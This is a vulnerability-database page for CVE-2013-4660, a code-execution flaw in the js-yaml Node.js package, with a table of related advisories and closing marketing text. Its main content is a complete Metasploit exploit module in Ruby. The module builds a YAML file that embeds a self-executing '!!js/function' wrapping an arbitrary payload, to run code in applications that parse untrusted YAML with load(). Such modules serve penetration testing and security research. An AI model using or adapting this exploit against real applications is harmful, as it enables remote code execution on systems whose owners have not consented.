| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| Nodejs js-yaml load() Code Execution Vulnerability | 26 Sep 201300:00 | – | zdt | |
| Security Bulletin: Vulnerabilities Addressed in IBM Tivoli Network Manager IP Edition (ITNM) version 4.2 Fix Pack 23 (4.2.0.23) | 2 Sep 202512:15 | – | ibm | |
| Security Bulletin: Multiple Vulnerabilities in IBM API Connect | 6 Aug 202516:10 | – | ibm | |
| CVE-2013-4660 | 28 Jun 201314:55 | – | attackerkb | |
| CVE-2013-4660 | 30 Sep 201300:00 | – | circl | |
| Nodejs js-yaml load() Code Execution (CVE-2013-4660) | 22 Dec 201300:00 | – | checkpoint_advisories | |
| CVE-2013-4660 | 28 Jun 201314:00 | – | cve | |
| CVE-2013-4660 | 28 Jun 201314:00 | – | cvelist | |
| Deserialization Code Execution in js-yaml | 24 Oct 201718:33 | – | github | |
| Nodejs js-yaml load() Code Execution | 16 Sep 201318:37 | – | metasploit |
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Nodejs js-yaml load() Code Exec',
'Description' => %q{
For node.js applications that parse user-supplied YAML input using the
load() function from the 'js-yaml' package < 2.0.5, specifying a self-executing
function allows us to execute arbitrary javascript code.
},
'Author' => ['joev <jvennix[at]rapid7.com>'],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-4660'],
['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']
],
'Platform' => 'nodejs',
'Arch' => ARCH_NODEJS,
'Privileged' => false,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Jun 28 2013',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])
], self.class)
end
def exploit
p = payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create("a: !!js/function >\n (function(){ #{p} })();")
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation